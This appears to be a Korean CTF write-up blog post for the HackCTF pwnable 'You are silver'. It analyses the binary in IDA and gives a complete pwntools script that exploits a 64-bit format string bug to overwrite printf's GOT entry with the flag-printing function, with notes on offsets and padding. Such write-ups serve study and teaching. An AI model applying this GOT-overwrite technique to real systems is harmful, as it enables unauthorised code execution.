WAR GAME/HackCTF

[HackCTF : Pwnable] You are silver 풀이 (64bit, FSB) (수정)

jir4vvit 2021. 4. 20. 22:39

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

64bit FSB 잘 몰라서 진짜 대충대충 인터넷에 떠도는 fsb 자료들 보고 야매로 풀었다... ㅎ


주어진 파일은 문제파일 바이너리

 

Analysis

일단 실행

이름을 입력하니까 입력했던게 출력이 되고,

나보고 silver라고 한다.

그리고 세폴이 뜨며 중지된다. 왜그런거지..?!

IDA

main을 살펴보자.

저기 대놓고 fsb가 터진다.

bof도 터지는데, 쪼잔하게 터져서 RET를 건들수 없다.

문제풀 때 대충 그린건데.... 이해는 갈거라 생각한다. 

 

get_tier함수를 살펴보자.

요악하자면 인자가 a1인데, 인자로 들어온게 'K' 즉, 75보다 크면 4를 반환한다.

(내가 왜 여기만 보여주는지는 밑에가서 알 수 있을 것)

 

함수 목록을 보다보면 play_game이란 함수가 눈에 보일 것이다.

여기서도 요약을 해보자면.. 인자가 a1인데, a1이 4라면 flag를 출력해준다. 

 

 

How to exploit

flag를 출력해주는 함수가 존재한다.

fsb도 존재하는 이 마당에... printf@got를 flag를 출력해주는 함수, 즉 play_game으로 덮고,

인자75이상의 값을 가지는 문자를 주면 될 것 같다. (나는 'L'을 선택했다.)

 

몰랐는데..

보통 저러면 문자를 주는게 아니라 '\xff'같은거 쓰는게 무난하다고 한다.

 

int가 아닌 왜 char로 주냐면 v6 영역에서 우리는 2바이트만 건들 수 있기 때문이다 ㅠ (BOF 영역)

진짜 말도 안되는 처음에 한 생각

더보기

get_tier 함수를 play_game으로 덮고, 인자를 4로 줄 생각을 하였다.

근데 사용자 정의 함수를 사용자 정의 함수로 덮는다? 정말 말도 안되는 생각이다.

이런 생각을 한 나.. 반성해라 정말..

 

offset은 참고로 6이다..

Let's exploit

from pwn import *

#p = process('./you_are_silver')
p = remote('ctf.j0n9hyun.xyz', 3022)
e = ELF('./you_are_silver')

log.info('using fsb : printf@got => play_game')
log.info('v6 -> L (1byte)')

play_game = 0x4006D7
print_got = e.got['printf']

payload = ''
payload += '%{}c'.format(play_game) # offset 6
payload += '%8$lnAA'                # offset 7
payload += p64(print_got)           # offset 8
payload += 'L' * (46-len(payload))

print len(payload)

p.sendlineafter('\n', payload)

p.interactive()

'%{}c'.format(play_game)만큼 이것저것 출력되었다.

 

offset이 6이라고 했는데 왜 %8$ln 이라고 했을까?

offset 6번째에 우리가 적은 것이 들어간다.

그렇게되면 offset 8번째에 print_got이 들어가게 된다. 거기다가 우리는 '%{}c'.format(play_game)을 씀으로써 print의 got를 play_game주소 값으로 덮어쓰는 것이다.

 

그리고 '%8$lnAA'에서 AApadding값이다. 8바이트로 맞춰줘야한다. (여기까지 했을때 길이가 16이어야 한다.)

패딩을 하지 않으면, print_got는 정확한 주소값에 딱 들어가지 않는다.

 

참고로 $ln8바이트를 쓰는 것이다.

$hn 2바이트

$n 4바이트

$ln 8바이트

 

참고로 64bit에서 got는 0x7xxxxxxxxxxx로 6바이트이다.

그리고 한 칸(?)은 8바이트...

 

64bit fsb... 따로 정리해야겠다.. 흑

 

 

 

+

 

char는 문자다, int는 숫자다 라는 고정관념에 갇혀있었다.

사실은 char도 숫자고 int도 숫자고 다 숫자다.

문자던 문자열이던 다 메모리에 숫자로 저장이 된다.